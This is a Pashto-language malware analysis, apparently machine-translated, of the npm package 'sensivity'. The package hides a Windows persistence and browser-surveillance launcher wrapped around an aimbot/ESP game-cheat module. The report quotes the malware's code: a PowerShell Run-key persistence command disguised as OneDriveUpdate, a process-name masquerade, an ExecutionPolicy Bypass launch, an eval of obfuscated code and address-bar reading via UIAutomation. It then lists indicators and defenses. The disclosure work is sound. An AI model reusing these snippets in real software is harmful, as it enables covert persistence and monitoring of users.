د تمديد؛ DR
د npm پیکج حساسیت ځان د "حساسیت کنټرول پینل" په توګه بیانوي. په وینډوز کې دا د ریموټ کنټرول او څارنې وسیلې په توګه چلند کوي.
د ننوتلو نقطه یې، launcher.js، خپل پروسه د رن ټایم بروکر ته بدلوي، د آټوسټارټ رن-کی ارزښت لیکي چې نوم یې دی OneDriveUpdate چې د پټ شوي VBScript له لارې بسته بیا پیلوي، د پاورشیل سره تولیدوي -ExecutionPolicy Bypass، او بیا د 6.87 MB اصلي ماډل سره یوځای د 171 KB پټ شوي سرور پیلوډ ارزونه کوي، sens.node.
دا په TCP پورټ 3000 کې د تلیفون جوړه کولو کنټرول پینل ته خدمت کوي او د وینډوز UIAutomation له لارې د فعال براوزر د پتې بار URL لولي، د یو هارډ کوډ شوي یوټیوب ویډیو ګوري.
دوه برخې چې مخکې د تور بکسونو په توګه پاتې وې اوس حل شوې دي. پټ سرور، server.obf.js، د obfuscator.io RC4 string-array سکیم کاروي؛ د دې ډیکوډر آفلاین بیا پلي کول (جاواسکریپټ نه دی اجرا شوی) یو واحد بهرنۍ پای ټکی بیرته ترلاسه کوي — https://izopi.com/check.php — د لاسلیک شوي جواز ځوابونو تایید لپاره د ایمبیډ شوي RSA عامه کیلي سره یوځای.
اصلي ماډل، sens.node، بسته شوی نه دی: د دې د وارداتو جدول او ایمبیډ شوي تارونه دا د DirectX 11 / Dear ImGui په توګه پیژني چې د لوبې دننه اوورلی چمتو کوي چې د ایمبوټ، ESP (وال-هیک)، او ټریګر بوټ ځانګړتیاوې چمتو کوي، چې د ریموټ پروسې انجیکشن او حافظې لوستلو/لیکلو لخوا پرمخ وړل کیږي.
د هغې دننه تارونه د موټر ادارو او نقشې ځایونو ته اشاره کوي چې د GTA V / FiveM سره مطابقت لري. د npm پیکج د هغه اصلي ماډل شاوخوا تحویلي او دوامدارۍ ریپر دی.
تعریف کوونکی سیګنال عملیاتي دی، تخنیکي نه: یو بې نومه خپرونکی د یوې کڅوړې شاوخوا اویا نسخې خپرې کړې — 2.5.0 د 2.5.69 له لارې — د څو ورځو په اوږدو کې، هر یو ورته لانچر لیږدوي.
هیڅ انسټال نشته hooks. پېلوډ یوازې هغه وخت چلېږي کله چې بسته پیل شي.
برید: دا څنګه کار کوي
حساسیت لس فایلونه لیږدوي. package.json کم دی: د ذخیره کولو ساحه نشته، جواز نشته، یو اصلي او دوه بن عرفونه (حساسیت، سینس) چې ټول یې لانچر.js ته اشاره کوي، او د نوډ لانچر.js یو پیل سکریپټ. هیڅ پوسټ انسټال یا پری انسټال نشته. په npm انسټال کې هیڅ شی نه چلیږي. لاندې تشریح شوی چلند هغه وخت پرمخ ځي کله چې یو کاروونکی بسته پیل کوي — د بن شیم، پیل سکریپټ، یا اړتیا له لارې.
ټاربال لانچر، یو پټ سرور، اصلي ماډل، یو بصري اساس سکریپټ، او د کنټرول پینل لپاره عامه/ ویب لارښود لري. launcher.js د لوستلو وړ آرکیسټریټر دی؛ هغه منطق چې د چلولو په وخت کې مهم دی په دوو بلابونو کې ژوند کوي چې دا یې باروي - یو پټ سرور او یو تالیف شوی اصلي ماډل، دواړه لاندې حل شوي.
د پروسې نقاب او جعلي OneDrive تازه کوونکی
د اجرا په پیل کې launcher.js د خپل پروسې نوم دوه ځله ټاکي:
javascript process.title = 'Runtime Broker'; د رن ټایم بروکر یو قانوني وینډوز پروسه ده (RuntimeBroker.exe) چې د اپلیکیشن اجازې منځګړیتوب کوي. د نوډ پروسې نوم بدلول د دې سره سمون خوري پدې معنی دي چې د ټاسک مینیجر ته یو لنډ نظر هیڅ غیر معمولي نه ښیې.
دوام د مستقیم راجسټری API پرځای د پاورشیل له لارې لیکل کیږي:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); د اتوماتیک پیل ارزښت OneDriveUpdate نومول شوی، او دا په مستقیم ډول پیکج ته اشاره نه کوي. دا د بنډل شوي OneDrive.Standalone.Updater.vbs چلولو سره wscript.exe ته اشاره کوي. دا سکریپټ په پټه کړکۍ کې د نوډ لانچر.js بیا پیل کوي. د Run-key نوم او د VBScript فایل نوم دواړه د مایکروسافټ برانډینګ پور اخلي، نو د اتوماتیک پیل ننوتنه د معمول OneDrive کار په توګه لوستل کیږي.
پاورشیل د اجرایی پالیسۍ بای پاس سره
لانچر په مکرر ډول پاورشیل ته واستول شي. هغه سنک چې سکینرونه یې د مهم په توګه بیرغ کوي د تولید شوي .ps1 لانچ دی چې د اجرا کولو پالیسي غیر فعاله ده:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); د اجرا پالیسي بای پاس د دې غوښتنې لپاره د ځایی سکریپټ لاسلیک کولو چیک لرې کوي. تولید شوي سکریپټونه د براوزر څارنې او کړکۍ کشف کار اداره کوي چې په راتلونکې برخه کې تشریح شوي.
پټ سرور او اصلي ماډل
د تنظیم کولو وروسته، launcher.js خپل اصلي پیلوډ باروي او اجرا کوي:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js د _0x-array obfuscation 171 KB دی — د جاواسکریپټ نمونه چیرې چې هر سټرینګ او پیژندونکی د شاخص لخوا په یو بدل شوي صف کې ځای په ځای کیږي، بیا د چلولو په وخت کې غیر حواله کیږي. دا سکیم د RC4 ډول دی چې د obfuscator.io لخوا تولید شوی: د ډیکوډر یو واحد فعالیت base64- د صف داخله ډیکوډ کوي او بیا RC4- د هر کال کیلي سره یې ډیکریپټ کوي. د دې ډیکوډر بیا پلي کول په جلا سکریپټ کې — یوازې د استخراج شوي 821-داخلي تار صف باندې بیا پلي کول، هیڅکله د کڅوړې خپل جاواسکریپټ — دا په پاکه توګه خلاصوي. کوم سطحې معتدل دي مګر decisive: یو بهرنۍ URL، https://izopi.com/check.php`، د LICENSE_URL ثابت ته ټاکل شوی؛ یو ایمبیډ شوی RSA PUBLIC_KEY_PEM`؛ سیمه ایز پینل /api/kill، /api/qr.png، /api/trigger، /api/url، /trigger/off، او /trigger/status لارې کوي؛ او تارونه child_process، crypto، او [Sensivity] sens.node loaded - وروستی دقیق لاګ لاین دی چې لانچر یې د پروګرام ماډل بارولو ته بیا لیکي. د پای ټکی د جواز چیک دی: مراجع یو پیژندونکی پوسټ کوي (مبهم سرور د Discord ID فارمیټ کوي: %s سټرینګ) او RSA کیلي د سرور لاسلیک شوی ځواب تاییدوي.
sens.node یو 6.87 MB تالیف شوی اصلي اضافه کونکی دی، او دا بسته شوی نه دی - د برخې انټروپي په 5.6-6.6 کې ناست دی او د PE وارداتو او صادراتو جدولونه سم دي، نو د دې وړتیاوې په مستقیم ډول د لوستلو وړ دي. دا napi_register_module_v1 صادروي، standard نوډ N-API د ننوتلو نقطه، نو eval'd سرور دا د یو ساده اړتیا سره باروي. د دې د وارداتو جدول هغه څه دي چې ویل کیږي. د KERNEL32 څخه دا OpenProcess، VirtualAllocEx، WriteProcessMemory، ReadProcessMemory، CreateRemoteThread، K32EnumProcessModules، او Process32First/NextW راوباسي - د بلې پروسې د موندلو، د هغې دننه حافظه تخصیص کولو، او د هغه حافظې لوستلو یا لیکلو لپاره کینونیکي سیټ. د USER32 څخه دا GetAsyncKeyState، GetKeyState، mouse_event، او SetCursorPos راوباسي؛ دا د سکرین د پوښښ لپاره d3d11.dll، D3DCOMPILER_43، او dwmapi سره نښلوي، او د شبکې زنګونو لپاره بشپړ WINHTTP سیټ. د دې ایمبیډ شوي تارونه د فیچر سیټ نوم پرته له ابهام څخه ورکوي: Aimbot فعال کړئ، Aimbot FOV، Box ESP، Skeleton ESP، Triggerbot، ESP Builder، Vehicle ESP، Electron Anticheat detected، او Dear ImGui بینر Dear ImGui 1.91.3 WIP. موقعیت او د وجود تارونه لکه Grapeseed Medical Clinic او د vehicle-ESP لغتونه د GTA V / FiveM سره مطابقت لري.
دا ویش په قصدي ډول په عمل کې دی: د لوستلو وړ لانچر.js یوازې هغه برخې لري چې سکینر یې په اسانۍ سره لوستلی شي - دوام، نقاب، د ایول کال پخپله - پداسې حال کې چې مبهم کول د رن ټایم اړیکو یو بهرني کوربه پټوي، او بائنری د لوبې پوښښ او پروسې انجیکشن منطق ساتي. لانچر پتلی، د پلټنې وړ شیل دی؛ مبهم سرور د شبکې هویت پټوي؛ اصلي ماډل پیلوډ دی. موږ د بائنری واردات او تارونه د لوستلو په توګه تشریح کوو؛ موږ د دوی څخه د آپریټر هدف نه اټکل کوو.
په پورټ ۳۰۰۰ کې د تلیفون جوړه کولو کنټرول پینل
لانچر په TCP پورټ 3000 کې یو محلي ویب سرور اداره کوي او د یو واحد ټون په توګه یې چلند کوي. دا د موجوده اوریدونکي لپاره پوښتنې کوي او د تړلو دمخه یې پاکوي:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); پینل په http://localhost:3000 کې د لاسرسي وړ دی، د هارډ کوډ شوي LAN فال بیک URL سره http://192.168.1.16:3000. د عامه/ ډایرکټرۍ او د پینل چلند د QR-جوړولو جریان سره مطابقت لري: یو تلیفون کوډ سکین کوي او د ریموټ په توګه کوربه سره تړل کیږي. هیڅ بهرنۍ قومانده او کنټرول ډومین په لانچر کې په واضح متن کې نه ښکاري - مګر، لکه څنګه چې پورته غیر واضح کول ښیې، یو په پټ شوي سرور کې شتون لري: د izopi.com جواز پای ټکی. پینل پخپله محلي او LAN-سکوپ شوی دی؛ یوازینی بهرنی کوربه هغه جواز چیک دی.
د جلا شوي څارونکي/کارګر ماډل پروسه ژوندۍ ساتي. لانچر ځان د SENSIVITY_SUPERVISOR او SENSIVITY_WORKER چاپیریال بیرغونو سره بیا راپورته کوي، هر ماشوم پټ روان وي، نو د یوې پروسې له منځه وړل د بیا پیلولو لپاره یو څارونکی پریږدي.
د براوزر څارنه او د یوټیوب سیګنال
تر ټولو مشخص چلند د براوزر څارنه ده. launcher.js PowerShell جوړوي چې د وینډوز UIAutomation چلوي ترڅو د چلونکي براوزر پته بار ولولي:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern د یو UI عنصر متن مینځپانګه بیرته راګرځوي. د براوزر د پتې بار ایډیټ کنټرول باندې پلي کیږي، دا هغه URL بیرته راګرځوي چې قرباني یې اوس مهال ګوري - د براوزر توسیع پرته، په ډیسک کې پروفایل ته د لمس کولو پرته، او د API هک پرته. تولید شوی سکریپټ د $browserNames لیست تکراروي او د هر هغه براوزر URL یا د کړکۍ سرلیک استخراجوي چې مخکینۍ برخه یې وي.
دا URL د یو واحد سخت کوډ شوي هدف په وړاندې ازمول شوی دی:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; لانچر د براوزر کړکۍ لپاره په درې ثانیو لوپ کې پول کوي چې یوټیوب ښیې، او تولید شوی پاورشیل د ګیټ-یوټیوب براوزر / ټیسټ-ټارګیټ یوټیوب یو آر ایل جوړه لري چې د دې ویډیو ID سره سمون لري. د لیدلو وړ اغیزه دوه چنده ده: د فعال براوزینګ URL د قرباني له سکرین څخه لوستل کیږي، او د کوربه تعامل د یو ځانګړي یوټیوب ویډیو سره کشف کیږي. موږ میکانیزم او هدف تشریح کوو؛ موږ له دوی څخه انګېزه نه اخلو.
د پتې بار لوستل هغه څه دي چې سکینر یې sensitive_data_enumeration لیبل کوي — یوه پروسه::env او د UIAutomation سرچینه چې د شبکې وړ چلولو وخت تغذیه کوي. دا په انزوا کې نرم ښکاري او یوازې هغه وخت د څارنې حل کوي کله چې د معلوماتو ژوند دوره د UIAutomation سرچینې څخه پټ شوي سرور ته تعقیب شي.
د وخت او نسخې ارتقا
حساسیت د یو ځل اپلوډ کولو خبره نه ده. د خپرونکي حساب د دې واحد پیکج شاوخوا اویا خپاره شوي نسخې لري، او د بیاکتنې کړکۍ په جریان کې نوي نسخې راځي. لانچر د 2.5.x لاین په اوږدو کې د ځانګړتیا له مخې وده کوي پداسې حال کې چې د هغې دوام او د پیلوډ بار کول ثابت پاتې کیږي.
| نیټه (UTC) | لیدل شوي نسخې | د لانچر حالت |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | د QR-پینل اساس لانچر؛ د رن-کی دوام؛ د پټ شوي سرور ارزونه. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | ورته د ګوتو نښې؛ د کنسول-ټریس فشار. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | د پنډ شوي یوټیوب ښکیلتیا هدف اضافه کوي wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | د تشو ډکولو بیا خپرول په ټوله لړۍ کې؛ څارونکی/کارګر څارونکی. |
د ډاونلوډ شوي استازو - 2.5.0، 2.5.36، او 2.5.69 - په اوږدو کې د لانچر لوستل څلور درجې ښیي. لومړني جوړونه د QR-جوړولو لانچر اساس لري. له 2.5.33 څخه د UIAutomation پته-بار حاصل ورکوونکی ښکاري. له 2.5.58 څخه د څارونکي مدیریت طبقه اضافه کیږي. له 2.5.64 څخه جلا څارونکی/کارګر څارونکی سیټ بشپړوي. په ټوله کې، څلور شیان هیڅکله نه بدلیږي: د OneDriveUpdate Run کیلي، د OneDrive.Standalone.Updater.vbs dropper، eval'd server.obf.js، او د sens.node اصلي ماډل.
د ۲۰۲۶-۰۶-۰۵ څپه د پام وړ ده ځکه چې دا د ټیټ نسخې شمیرې - ۲.۵.۰ څخه تر ۲.۵.۱۵ پورې - بیا خپرې کړې چې د څو ورځو دمخه تایید شوي نسخو لاندې موقعیت لري. اغیزه په راجسټری کې د ۲.۵.x کرښه ده، هره نسخه ورته لانچر لري.
د جوړجاړي شاخصونه
لاندې ټول شاخصونه په مستقیم ډول د پیکج ټاربال څخه لوستل شوي. د لوستلو وړ لانچر یوازې لوپ بیک او یو واحد شخصي LAN پته لري؛ یو بهرنی کوربه نوم، izopi.com، د server.obf.js آفلاین deobfuscating لخوا بیرته ترلاسه شو.
| ډول | شاخص | یاداښتونه |
|---|---|---|
| هګ | npm:sensivity (≈۷۰ نسخې، 2.5.0-2.5.69) | د یوې کڅوړې خپرونکی؛ هیڅ ذخیره نشته؛ بې جوازه. |
| د دوتنې | launcher.js | د لوستلو وړ آرکیسټریټر؛ اصلي او بن هدف. |
| د دوتنې | server.obf.js (≈۱۷۱ کیلو بایټ) | obfuscator.io RC4 سټرینګ-اری پیلوډ، له لارې بار شوی eval(fs.readFileSync(...)). |
| د دوتنې | sens.node (≈۶.۸۷ ایم بي) | PE32+ x86-64 نوډ N-API ایډون؛ SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| د دوتنې | OneDrive.Standalone.Updater.vbs | پټ بیا لانچر (node launcher.js). |
| شبکه | https://izopi.com/check.php | د جواز/تصدیق پای ټکی د پټ شوي سرور څخه ترلاسه شوی؛ ایمبیډ شوی RSA عامه کیلي ځوابونه تاییدوي. |
| وړتیا | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | د لرې پرتو پروسې انجیکشن او حافظې لوستلو/لیکلو وړتیا. |
| وړتیا | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui لوبې اوورلی د ایمبوټ، ESP، او ټریګر بوټ ځانګړتیاوې پلي کوي. |
| نوم لیکنه | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | د اتوماتیک پیل ارزښت په ګوته کول wscript.exe او د VBScript لانچر. |
| پروسه | process.title = 'Runtime Broker' | د وینډوز د چلولو د قانوني پروسې په توګه نقاب اغوندي. |
| چلند | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | د تولید شوي پاورشیل سکریپټونو لپاره د اجرا کولو پالیسۍ بای پاس کارول کیږي. |
| چلند | UIAutomation ValuePattern د براوزر د پتې بار لوستل | د مخکینۍ براوزر کړکۍ URL لولي. |
| چلند | د هدف ویډیو ID wJWta2lO0Lw؛ د یوټیوب درې ثانیې نظرپوښتنه | د ښکیلتیا څارنې سیګنال. |
| شبکه | http://localhost:3000، فال بیک http://192.168.1.16:3000 | د QR-جوړولو کنټرول پینل په محلي او LAN کې ښکاره شوی. |
| د چاپیریال | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | جلا شوي څارونکي د پروسې همغږۍ بیرغونه. |
منسوب، اغېز، او مدافعین
دا بسته د یو واحد npm حساب لخوا خپره شوې چې ویل شوي بریښنالیک یې یو غیر تایید شوی Gmail پته ده. حساب د راجسټری شهرت ژور منفي نمره لري، یوازې دا یو بسته ساتي او خپروي، او هیڅ لینک شوی سرچینه ذخیره نلري. موږ د بریښنالیک ملکیت تایید نه دی کړی او موږ کمپاین د خپرونکي حساب ته منسوب کوو، نه کوم نومول شوي کس ته. لانچر هیڅ واضح متن زیربنا نلري، مګر یو بهرنی کوربه اوس پیژندل شوی: مبهم سرور د جواز چیک لپاره izopi.com سره اړیکه نیسي، او اصلي ماډل - د هغې د وارداتو جدول او تارونو څخه لوستل کیږي پرځای د لارښوونې په واسطه د لارښوونې په واسطه - د لوبې پوښښ دی چې د بلې پروسې حافظه داخلوي او لوستل کیږي.
د لیدلو وړ اغیزه د وینډوز کاروونکو باندې راځي چې د کنټرول پینل یوټیلټي تمه لري حساسیت نصب او چلوي. په دې کوربه توبونو کې پیکج د OneDrive دندې په څیر د اتوماتیک پیل دوام رامینځته کوي، د سیسټم پروسې نقل کولو لپاره ځان نوموي، د هر هغه څه URL لوستل کیږي چې کارونکي یې لټوي، او د جوړه کولو پینل رامینځته کوي چې ماشین د محلي شبکې له لارې ریموټ سره تړلی دی. د څارونکي / کارګر څارونکي معنی لري چې یو واحد پروسې وژنه دا نه لرې کوي؛ د رن کیلي ننوتنه د ریبوټونو څخه ژوندي پاتې کیږي. macOS او لینکس د لانچر لخوا په نښه شوي ندي - دوام، PowerShell، او UIAutomation لارې یوازې وینډوز دي.
د اویا نسخو بدلون هغه رجحان دی چې د نښه کولو وړ دی. په څو ورځو کې لسګونه ځله د یوې بستې بیا خپرول، په شمول د هغو نسخو شمیرو څخه چې دمخه یې لرې شوي دي، د لرې کولو ترمنځ په راجسټری کې ژوندۍ کاپي ساتي او د نسخې-پنډ شوي بلاک لیستونه مایوسه کوي. د sensivity@2.5.61 لپاره د بلاک لیست ننوتنه د sensivity@2.5.3 په وړاندې هیڅ نه کوي چې بله ورځ بیا خپره شي.
مدافعین کولی شي په لاندې ډول عمل وکړي:
- د بسته بندۍ نوم حساسیت په راجسټری پراکسي او CI اجازه لیستونو کې په بشپړ ډول بند کړئ. د انفرادي نسخو پین کول د بیا خپریدو کیډنس ته زیان رسوي؛ نوم د دوامدار شاخص دی.
- د OneDriveUpdate په نوم د رن ارزښت په لټه کې شئ چې معلومات یې د هر کارونکي په لاره کې د .vbs په وړاندې wscript.exe کاروي. اصلي OneDrive اپډیټر پدې ډول راجستر شوی نه دی.
- د Node.js پروسې په اړه خبرداری چې process.title د رن ټایم بروکر دی. اصلي بروکر RuntimeBroker.exe دی، نه د نوډ رن ټایم.
- د npm انسټال-وخت د هغو پیکجونو بیرغ چې یو تالیف شوی .node ایډون او د یو ورور .obf.js فایل eval(fs.readFileSync(…)) لیږدوي. دا جوړه کول - د یو مبهم متن پیلوډ تر څنګ بار شوی مبهم اصلي بائنری - دلته جوړښتي وینا ده، د هر ډول تار IOC څخه خپلواکه.
- په پورټ ۳۰۰۰ کې هر هغه ځایی تړلی اوریدونکی چې د ناڅاپي نوډ پروسې لخوا رامینځته شوی وي د مدیریت شوي وینډوز پای نقطو کې د شکمن په توګه چلند وکړئ.
- د پراختیا کونکي یا وروستي کارونکي کوربه څخه izopi.com ته د بهرنیو غوښتنو په اړه بلاک یا خبرداری ورکړئ؛ دا د پیکج یوازینۍ بهرنۍ پای ټکی دی، چې د پټ شوي سرور څخه /check.php ته رسیدلی شي.
- د هر ډول بنډل شوي .node ایډون لپاره، د باور کولو دمخه د هغې د وارداتو جدول معاینه کړئ. د OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ترکیب د ریموټ پروسې انجیکشن دی پرته لدې چې پیکج څه ادعا کوي؛ دلته دا د Direct3D اوورلی او aimbot/ESP/triggerbot تارونو تر څنګ ناست دی.
د جامد تحلیل لپاره pipelines، د قناعت شکل د نسخې په ټول بدلون کې دوامدار دی: د غیر شبکې نصب پروفایل، د پیژندل شوي سیسټم پروسې نوم ته د پروسې سرلیک دنده، د پاور شیل له لارې د رن کی لیکل، او د ډیسک څخه د لوستل شوي فایل ارزونه. هیڅ یو یې په ډومین، IP، یا د نسخې شمیرې پورې اړه نلري چې راتلونکی بیا خپرول یې لرې کولی شي.
ماخذونه
[npm: حساسیت] – د پیکج نسخې لاین لپاره د راجسټری پاڼه چې دلته بحث شوې؛ د لرې کولو تابع ده.
